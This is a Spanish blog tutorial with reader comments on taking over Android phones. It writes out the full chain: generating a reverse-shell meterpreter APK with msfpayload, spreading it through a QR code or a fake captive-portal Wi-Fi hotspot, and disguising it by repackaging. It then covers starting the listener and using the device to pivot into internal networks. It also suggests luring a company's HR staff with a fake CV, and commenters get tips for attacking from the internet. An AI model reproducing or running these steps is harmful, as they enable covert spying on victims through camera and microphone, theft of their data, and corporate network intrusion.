Comprometiendo sistemas Android (1ª parte)


Cada día más personas utilizan smartphones y tablets para navegar por Internet y gestionar sus cuentas online. Por este motivo, los cibercriminales centran los ataques hacia estos dispositivos, lo que supone la aparición de nuevas amenazas y malware.

Durante este año, el 98,09% de los ataques móviles fueron dirigidos al sistema operativo Android. Esto se debe a varios factores. En primer lugar, esta plataforma es muy popular ya que es el sistema operativo más utilizado en los smartphones, con una cuota de mercado del 70%. Además, la naturaleza de plataforma abierta del sistema operativo Android, la facilidad con la que se pueden crear las aplicaciones o la amplia variedad de mercados de aplicaciones (no oficiales) que existen influyen de manera significativa en la seguridad. Android le está ganando la partida al resto de sistemas operativos y ya es el software para móviles más utilizado en todo el mundo.

Por tanto, es un factor muy importante a tener en cuenta a la hora de securizar una red corporativa, o a la hora de planificar un ataque dirigido.

Los terminales inteligentes, pueden llegar a ser una puerta fácil, que nos abran las puertas a un objetivo bien securizado. En muchas redes y por descuido del usuario, suelen ser aparatos confiables... Ejemplo claro sería el móvil del jefe, conectado por wifi a la red , que da al traste con todas las políticas de IT, creerme que es más usual de lo que debiera. 

En esta serie de entradas vamos a ver como poder echar mano a este recurso....

Troyanizando Android

Para el ejemplo, nos vamos a valer de un módulo de Metasploit, Android meterpreter, que cabe destacar que es una herramienta brillante desde su "simpleza", la cual sería muy fácil incluir en algún código a modo de 'backdoor' sin levantar muchas sospechas. A parte los creadores han dejado el código fuente y mucha información a nuestra disposición.
También podríamos utilizar cualquier otro tipo de backdoor para android, o incluso aprovechar herramientas que pueden estar albergadas en el sistema, como veremos en entradas posteriores...

Para el que necesite más detalles sobre este módulo, me viene a la cabeza un buen artículo de SbD.

Para la infección veremos un par de ejemplos sencillos, aunque este apartado sólo esta limitado por la imaginación del artista...

Generando nuestro "caballo de troya"

Como dije anteriormente para ilustrar esta entrada nos va a bastar con android meterpreter, con el que vamos a generar una aplicación para infectar nuestro objetivo. No nos vamos a entretener mucho en detalles pero para el que conozca meterpreter y msfpayload no le será difícil enrevesar el proceso a fin de complicar su detección...

Tanto la elaboración como el ataque en sí difiere poco del meterpreter clásico:

Abriremos nuestro terminal y a typear:

#sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1..121 LPORT=4444 R > /root/Desktop/wifi.apk


Con esto generamos la aplicación, la cual nos está esperando en /root/Desktop/ 

recordar que la ip tiene que ser la de eth0 (o por donde nos entre internet).

Generando la infección

Vamos a ver dos métodos sencillos el primero todo un clásico "QR" y en el segundo utilizaremos un falso AP (que ya vimos en Hackplayers y con el fin de darle a este "cotarro" cierta continuidad interesante).

1er método

Para la primera nos basta con subir nuestra aplicación a cualquier servidor y generar un código QR de enlace a esta, lo podemos hacer directamente con SET o con cualquier herramienta online para este fin.
(luego veremos lo que puede hacer saltar nuestras alarmas)..

Arrancamos SET y seguimos estos pasos:

1) Social-Engineering Attacks
 

Seleccionamos la opción
 

9) QRCode Generator Attack Vector

Ingresaremos la url donde hemos subido nuestra apk.

El siguiente paso requiere de algo de ingeniería social para hacer llegar el código al objetivo:

Por ejemplo podemos mandar un currículum falso a recursos humanos de la empresa con el QR  (que esta de moda) dando el enlace de la descarga... otra cosa sera que la víctima ejecute el archivo....cosa más que improbable.

2º método

Nuestro hotspot trampa

 10 min. Gimp, html basico...se puede mejorar. Mi gato que es de la Sgae reserva los derechos.

Aquí refinaremos nuestro engaño...

Partiendo de la entrada anterior en la que creamos un punto de acceso falso, en esta ocasión añadiremos unas pequeñas modificaciones a nuestro AP para hacerlo pasar por un hotspot o portal cautivo lícito que ofrece servicio a Internet, y deberemos convencer al usuario a descargarse una aplicación y ejecutarla, para obtener un user y password válido.

Preparando la trampa

Si os acordáis, en el la entrada anterior hicimos un script para arrancar y darle las directrices a iptables al unisono se llamaba "RogueAP.sh"; en esta ocasión haremos otro que no es más que el mismo modificado con una  regla más de iptables para crear el portal cautivo.
 
Si os dais cuenta tan solo le he añadido una linea.

iptables -t nat -A PREROUTING -s 10.0.0.0/24 -p tcp --dport 80 -j REDIRECT --to-ports 55555

Para el siguiente paso necesitamos tener instalado apache web server, y simular un hotspot ... para esto necesitaremos un index.html y un par de archivos php y ser algo creativos. Yo no me he esplayado mucho, pero cuanto más meticulosos seamos, mayor será la probabilidad de éxito, también podríamos clonar el hotspot de una cafetería, hotel etc...
No voy a entrar en el detalle de cada uno de los archivos, tan solo los describiré los más importantes y os dejo la descarga.

INDEX.html : nuestra página
log.php : se encarga de comprobar el login y de dejar pasar una vez hecho.
inf.php : filtra por user agent, si es android sirve una apk, si es un PC podría servir otro archivo ...tan solo está para android puesto es de lo que va la entrada...(el que quiera lo puede acabar y así tener un buen "atrapamoscas"). 

ficheros hotspot

Una vez descargada la carpeta , la copiamos a  /var/www/hotspot (previamente creado) y le damos permisos...


Ahora tan solo nos queda configurar apache.

Configurando Apache virtual host

Dado que llevo más de un asunto entre manos en mi servidor apache, para hacerlo que responda por el puerto 55555 que hemos configurado en Falsohotspot.sh anteriormente, y para hacer las cosas medio regular, he optado por configurarlo para que me sirva el hotspot como otro dominio en la máquina para ello seguiremos estos pasos...

#cp /etc/apache2/sites-available/default hotspot
#nano hotspot

Editaremos las 3 primeras lineas

 

Ahora activamos el site:

#a2ensite hotspot

En /etc/apache2/ports.conf decimos por donde va a estar escuchando nuestro hotspot.
nano /etc/hosts

y añadimos la linea 

127.0.0.1      hotspot
#/etc/init.d/apache2 restart

Con ésto hemos terminado de configurar apache.

Por último ejecutaremos visudo y añadiremos esta linea al final del archivo
www-data bt=(root) NOPASSWD:/sbin/iptables

ALARMA!!

Hemos dicho que vamos a utilizar el POC de meterpreter para android.....(podríamos utilizar cualquier otra apk pero a sido lo primero que he agarrado).

Así no creo que engañe a nadie desde luego...... tendremos que hacer algunos cambios, no muy difíciles para tener alguna oportunidad....aquí solo lo voy a tocar muy superfluamente, pero se puede profundizar muchísimo más...sólo limitados por nuestros conocimientos.. 
 

Vistiendo al lobo de cordero

Para realizar estos necesarios cambios, si queremos dar el pego (y es aquí donde he visto que yo solo me liado, podría haber cogido un soft mas adecuado) utilizaremos un tipo de  aplicación  a la que mi compañero Vicente es asiduo ;D Apk_manager.. lo tenemos de todos los sabores Linux, Windows, y mac 

Una vez instalada Apk_manager, vamos a llevar a cabo las siguientes acciones:

-descomprimiremos la aplicación.
-cambiaremos los archivos pertinentes.
-comprimiremos y firmaremos

Descomprimir la aplicacion: cogeremos el archivo creado con msfpayload lo situaremos en la carpeta place-apk-here-for-modding , arrancaremos la aplicacion con ./Scrit.sh , Nos preguntará si queremos limpiar la carpeta out, le diremos que NO.
Pulsaremos la opción 9.

Cambiar archivos: nos dirigimos a la carpeta Out y cambiamos los archivos que nos convengan.

Comprimir y firmar: pulsamos la opción 13 y tras esperar un rato ...Ctrl+C.. nos generará un archivo llamado repackaged-signed.apk en la carpeta place-apk-here for-mading. Copiaremos nuestra aplicacion modificada al directorio que previamente crearemos /var/www/hotspot/downloads.

Ya tenemos listo nuestro "atrapamoscas" para este ejemplo...Podemos echarle un par de horas para completarlo...  proporcionarle habilidades sniffers, completar su detección de User Agent y enviar otra serie de archivos, o incluso exploit remotos al objetivo....y tendremos un cebo MUY LETAL..no sólo para Android.... 

Explotando meterpreter android

Puff ya llegamos al final tranquilos....

Bueno a llegado el momento de comprobar si todo esta bien y arrancar nuestro invento...con una conexión a Internet por ETH0 (o en otra interface ya sea cableada o wireless) arrancaremos nuestro Hotspot con el script creado (no olvidar arrancar apache si no lo hemos hecho, y que eth0 tenga ip lo cual podemos forzar si es necesario con dhclient eth0), este a su vez arrancara nuestro servicio DHCP.

Arrancaremos msfconsole:

sudo msfconsole
use exploiter/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.121

set lport 4444
exploit

Tan sólo nos queda esperar a nuestros nuevo/s amigos....



Al cabo de un rato....vemos que nuestro objetivo picó...
Para ver que podemos hacer con meterpreter basta con hacer un help y nos dará un listado de sus posibilidades...

meterpreter>help

Entre algunas lindezas meterpreter nos permite hacer capturas con la cámara y el micro, tener un acceso a la shell del sistema con lo que esto supone, subir y descargar archivos.etc etc.

Debemos considerar la posibilidad de un acceso permanente al dispositivo, (que ya veremos), aparte de esto hay una opción muy interesante al igual que peligrosa, es la posibilidad de hacer port-relaying desde el terminal móvil... Sería un desastre que el usuario tuviese levantado la VPN que le da acceso a la red interna de la empresa....

meterpreter> portfwd add -l 80 -r 192.168.123.15 -p 80

MORALEJA : utiliza siempre el sentido común. Usuario de teléfono móvil precavido vale por dos. Cuidado con los archivos que llegan por mensajería instantánea, correo electrónico o de cualquier otra manera....tener un buen hábito para la seguridad informática vale por dos antivirus, y por último un firewall para tu teléfono te puede ahorrar mas de un dolor de cabeza...

Un saludo, Manuel

sed buenos ;P

18 comentarios :

  1. ¿Porque habeis borrado los archivos html ?? Hace dias que estoy intentando en un laboratorio este mismo ejercicio y como no domino el html no entendia como crear el html para que guarde user y pass :'(
    Please re-upload!!
    Saludos! fenomenos!

    ResponderEliminar
  2. a sido sin querer y para actualizarlos espera que los subo
    un saludo

    ResponderEliminar
  3. ¡¡¡Gracias fenómeno!!!
    Un saludo!

    ResponderEliminar
  4. Genial, y muy completo al estilo "plug&play". Solo una cosita, tengo metasploit 4.6.0 y no encuentro el módulo android meterpreter. Veo que en una captura aparece metasploi 4.8.0. He intentado descargar manualmente y al correr msf me tira error. ¿Podrías comentar como conseguir ese módulo? msfupdate no me sirve. Muchas gracias.

    ResponderEliminar
    Respuestas
    1. perdona por responder tan tarde....puedes descargarlo y instalarlo a mano simplemente guardandolo donde corresponde....
      http://www.rapid7.com/db/modules/exploit/android/browser/webview_addjavascriptinterface

      Eliminar
  5. Disculpen la ignorancia pero para desinfetar el telefono basta con eliminar la aplicacion?

    ResponderEliminar
  6. todo esto entendiendo que lo trabajamos sobre la misma red__ verdad__ y como seria el caso para hacerlo desde el exterior gracias de antemano,

    ResponderEliminar
  7. trabajando con tu ip publica y haciendo un forwarding port a tu maquina en el puerto de escucha , tan facil como eso

    ResponderEliminar
    Respuestas
    1. hola q puertos recomiendas ?..influye q uses kali en virtual box en lo de los puertos ?

      Eliminar
  8. Manuel muy interesante ya he corrido las pruebas me interesaría saber como "Debemos considerar la posibilidad de un acceso permanente al dispositivo, (que ya veremos)" .... Gracias

    ResponderEliminar
  9. Eres todo un crack Manuel, me pondre con ello!!... por cierto a la par de ponerse con ello... Apoyo a Oswaldo, "considerar la posibilidad de un acceso permanente al dispositivo"...
    Gracias

    ResponderEliminar
  10. Esperando el siguiente post... muy bueno!

    ResponderEliminar
    Respuestas
    1. ando liado con examenes, acabo este junio ....prometo un año movidito....ala vejez voy a empezar programacion!! (loq me faltaba)

      Eliminar
    2. Manuel vuelveee! te echamos de menos! ;)

      Eliminar
  11. jajajajaja que tal vicente??? el martes 17 tengo el ultimo examen y vuelvo a tope!!!!

    ResponderEliminar
  12. estoy intentando, creo que hice todo bien, ya cree la apk, y trato de instalarla en mi tablet para probar y me rechaza la instalacion, porque, si es que alguien puede ayudarme

    ResponderEliminar
  13. Alguien me puede ayudar con este error

    Meterpreter session 5 closed. Reason: Died

    ResponderEliminar